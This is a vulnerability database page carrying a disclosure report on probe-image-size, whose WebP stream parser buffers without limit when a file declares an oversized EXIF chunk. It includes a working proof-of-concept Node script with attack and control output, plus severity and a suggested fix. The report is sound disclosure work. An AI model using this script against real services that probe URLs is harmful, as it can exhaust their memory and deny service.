
Cloud Vulnerability DB
A community-led vulnerabilities database
Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.
In the stream and URL paths, a WebP file that declares an EXIF chunk of length 0xFFFFFFF0 makes the parser buffer every byte it receives while waiting for that chunk, and the probe never resolves. In the test, 1,500 MB sent gave 1,564 MB of resident memory.
lib/parse_stream/webp.js:91 (parseExif). After the VP8X header, the parser reads the EXIF chunk with parser._bytes(length), where length is the 32-bit size taken from the file. There is no upper bound, so the stream parser accumulates data until that many bytes have arrived. probe.sync is not affected because it works on a buffer the caller already holds.
Attacker model: remote and unauthenticated. The attacker controls the image stream, most realistically by serving it from a URL that the target passes to probe(url).
poc4.js (node poc4.js attack 1500 or node poc4.js control 1):
// unbounded buffering of declared EXIF chunk (webp). arg: attack|control, MB to send
const { PassThrough } = require('stream'); const probe = require('probe-image-size')
const mode = process.argv[2], MB = +process.argv[3]
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32LE(n >>> 0); return b }
const vp8x = Buffer.concat([Buffer.from('VP8X'), u32(10), Buffer.from([8, 0, 0, 0, 9, 0, 0, 9, 0, 0])]) // 10x10 + EXIF flag
const declared = mode === 'attack' ? 0xFFFFFFF0 : 64
const head = Buffer.concat([Buffer.from('RIFF'), u32(0xFFFFFFF0), Buffer.from('WEBP'), vp8x, Buffer.from('EXIF'), u32(declared)])
const ps = new PassThrough(); let sent = 0, done = false
probe(ps).then(r => { done = true; console.log('RESOLVED', JSON.stringify(r)) }, e => { done = true; console.log('REJECTED', e.message) })
ps.write(head)
const mb = () => (process.memoryUsage().rss / 1048576).toFixed(0)
const t = setInterval(() => {
if (done || sent >= MB) { clearInterval(t); console.log(`${mode}: sent=${sent}MB rss=${mb()}MB resolved=${done}`); process.exit(0) }
ps.write(Buffer.alloc(1 << 20, 0x41)); sent++
}, 0)Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none.
Control: the same stream with a declared EXIF length of 64 resolves at once with the right size, memory flat:
RESOLVED {"width":10,"height":10,"type":"webp","mime":"image/webp","wUnits":"px","hUnits":"px"}
control: sent=1MB rss=57MB resolved=trueAttack:
attack: sent=1500MB rss=1564MB resolved=falseLow. Memory grows one to one with the bytes the attacker actually sends, so there is no amplification. But the probe never resolves or rejects on its own, and the library otherwise reads only a small header, so callers do not expect it to hold hundreds of megabytes. On the URL path the needle read timeout is idle based, so a server that keeps sending is never cut off. The realistic attacker is a malicious HTTP server behind a URL the target is asked to probe (link previews, avatar or image URL fields). Several such connections can exhaust the process's memory.
Reject or skip EXIF chunks whose declared size is above a sane maximum (for example 64 KiB, since only the orientation tag is needed) before calling parser._bytes(length).
Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)
Credit: Zachariah Mithani (@zachariah-mithani, AploSec)
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."